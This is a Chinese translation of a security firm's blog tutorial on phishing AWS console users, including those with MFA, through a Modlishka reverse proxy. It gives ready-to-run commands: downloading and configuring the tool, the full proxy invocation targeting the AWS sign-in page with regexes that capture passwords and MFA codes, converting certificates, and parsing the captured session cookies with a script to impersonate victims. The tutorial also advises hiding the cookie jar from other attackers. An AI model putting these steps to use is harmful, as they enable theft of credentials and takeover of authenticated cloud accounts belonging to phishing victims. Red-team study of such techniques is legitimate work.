本文为译文,原为链接为:https://rhinosecuritylabs.com/aws/mfa-phishing-on-aws/
网络钓鱼和MFA
社会工程是恶意攻击者未经授权访问其目标环境的最常见方式之一。它利用了所有公司最薄弱的点——人的因素。通常情况下,如果目标正在使用多因素认证(MFA),网络钓鱼活动就会失败。然而,随着防御变得越来越复杂,攻击者及其方法也越来越复杂,这使得 MFA 几乎没有那么有效。
本博客将介绍不同的开源选项,以帮助针对使用 MFA 的目标和网站执行网络钓鱼攻击。对于这篇文章,我们将针对 AWS IAM 用户登录,启用(和不启用)MFA 来演示这个概念。我们选择使用 AWS 作为示例的另一个原因是,据我们所知,之前没有发布过关于钓鱼 AWS 用户的研究,而 Rhino 的团队已经在内部使用了一段时间。
MFA 网络钓鱼工具
有一些很棒的开源工具可用于执行 MFA 网络钓鱼活动,例如Evilginx2、Modlishka、Muraena和CredSniper。大多数工具都是在客户端和攻击者运行的服务器之间充当代理。当攻击目标连接攻击者的服务器时,这个工具将充当受害人和攻击者的钓鱼网站的中间人,以此攻击者可以向受害者提供有效的、动态的、看起来合法的网络钓鱼页面,同时拦截正在进行的任何通信(例如登录)。
到目前为止,这些工具都没有 AWS 模板或与 AWS 相关的任何东西,因此我们决定使用 AWS 作为本文的概念验证目标网站。我们选择在这篇文章中使用 Modlishka,因为它易于设置和配置,并且在多域流量的透明代理方面做得很好。
网络钓鱼基础设施的设置
基础设备
- 使用带有通配符的DNS来创建一个虚拟子域,并为钓鱼页面的登录界面配置一个域名(例如“example.com”)。
- 配置相关证书(例如:"*.example.com"),可以通过Let's Encrypt获得。
- 运行该工具的服务器(公开可访问,开放80和443端口)。
- 服务器上安装了go语言环境。
有关为您的域设置的 DNS 记录以及如何生成通配符 SSL 证书的简短演练,您可以查看GitHub 上的 Modlishka wiki。
Modlishka 配置
要下载 Modlishka 源,您可以运行以下命令:
go get -u github.com/drk1wi/Modlishka
在编译 Modlishka 之前,我们对源代码进行了一些更改以提高安全性:
修改“Modlishka Cookie Jar”的默认 URL。(cookie jar 是受害者对我们的网络钓鱼页面进行身份验证后存储凭据和 cookie 的地方。Modlishka 在 /plugin/control.go 中设置了 cookie jar 的默认路径,即“/SayHello2Modlishka/”。为了防止其他攻击者发现这一点,我们修改默认路径为一个更加隐秘的目录下。)
使用 Modlishka GitHub 存储库中的说明编译二进制文件,编译二进制文件后,我们必须确定配置的外观,以便获取受害者的信任。
./bin/proxy -cert `cat ./our-phishing-domain.com.cert.b64` \
-certKey `cat ./our-phishing-domain.com.privkey.b64` \
-trackingParam auth \
-proxyDomain our-phishing-domain.com \
-dynamicMode \
-target target-account-alias.signin.aws.amazon.com \
-listeningAddress 0.0.0.0 \
-credParams dXNlcm5hbWU9KFteXFddKykm,KD86XnxbPyZdKXBhc3N3b3JkPShbXiZdKik=,KD86XnxbPyZdKWFjY291bnQ9KFteJl0qKQ==,KD86XnxbPyZdKW1mYV9vdHBfMT0oW14mXSop \
-postOnly \
-log aws.log
对相关参数/语句解析进行解析一下吧~
- 生成SSL 证书的 base64 编码版本
-cert cat ./our-phishing-domain.com.cert.b64
· 要使用的 SSL 证书的 base64 编码版本,即“./our-phishing-domain.com.cert.b64”。
· 我们使用 Let's Encrypt 来生成这个证书,所以我们运行这个命令来获取 base64 编码的版本。
cat /etc/letsencrypt/live/our-phishing-domain.com/cert.pem | base64 –wrap=0 > ./our-phishing-domain.com.cert.b64
生成SSL 证书的 base64 编码版本的私钥
· 要使用的 SSL 私钥的 base64 编码版本。我们的位于“./our-phishing-domain.com.privkey.b64”。
· 我们使用 Let's Encrypt 来生成这个私钥,所以我们运行这个命令来获取 base64 编码的版本:
at /etc/letsencrypt/live/our-phishing-domain.com/privkey.pem | base64 –wrap=0 > ./our-phishing-domain.com.privkey.b64
trackingParam身份验证
· 用于跟踪客户端的参数名称。它默认为“id”,但我们将其修改为查找“auth”。这有助于尝试跟踪您正在进行网络钓鱼的特定用户。
listeningAddress 0.0.0.0
· 要侦听的代理服务器的地址。默认在 localhost (127.0.0.1) 上。
-credParams dXNlcm5hbWU9KFteXFddKykm,KD86XnxbPyZdKXBhc3N3b3JkPShbXiZdKik=,KD86XnxbPyZdKWFjY291bnQ9KFteJl0qKQ==,KD86XnxbPyZdKW1mYV9vdHBfMT0oW14mXSop
· 要从身份验证请求中提取的字段的 base64 编码正则表达式。
-postOnly
· 代表 Modlishka 仅记录 HTTP POST 请求(而不是 GET 请求)。
-log aws.log
· 用于存储 Modlishka 登录的本地文件,可以解析出cookie。
当我们运行命令时,我们访问了我们的网络钓鱼域 (our-phishing-domain.com) 以查看一切是否正常。如果一切正常,我们将看到 AWS 网站的山寨版,如下图所示:
钓鱼演练
当受害者点击我们发送的钓鱼邮件中的链接后,他们将会跳转到上图所示的登录页面,实则为我们部署的钓鱼网站。Modlishka 将为每个目标分配他们自己的唯一 ID,以便在他们在整个登录过程中移动时跟踪他们的会话、凭据和 cookie。
因为 Modlishka 只是将 AWS 钓鱼页面代理给我们的受害者,所以无论他们是否启用了 MFA,它都可以对他们进行网络钓鱼。
- 获取cookie
一旦用户输入他们的 MFA 代码,Modlishka 就会运行并捕捉。它将使用网页控制台创建一个有效的登录会话,存储详细信息,然后将目标用户发送到实际的 AWS 网站并跳转到其他页面。此时用户的凭据和 cookie 将存储在我们之前讨论过的 cookie jar 中,结果如下图:
- 模拟登录
我们需要复制cookie并手动将它们输入到浏览器中,我们编写了一个脚本来解析 Modlishka 日志文件并将 cookie 输出为 HTTP 响应标头的格式(“Set-Cookie”)。然后,我们将它们粘贴到 Burp Suite HTTP 响应中以将它们保存在本地。该脚本可以在我们的 GitHub 上找到,运行命令为:
python3 parse_modlishka_aws_cookies.py [path to log file] [phishing domain]
此处,我使用的命令:
python3 parse_modlishka_aws_cookies.py ./aws.log our-phishing-domain.com
看到此响应后,您可以关闭 Burp 代理。然后,将重定向到如下页面:
现在,您可以以该用户身份浏览 AWS Web 控制台,可以用受害者账号执行的任何操作。会话将被视为经过 MFA 身份验证的会话,因此您也可以使用任何需要 MFA 的权限。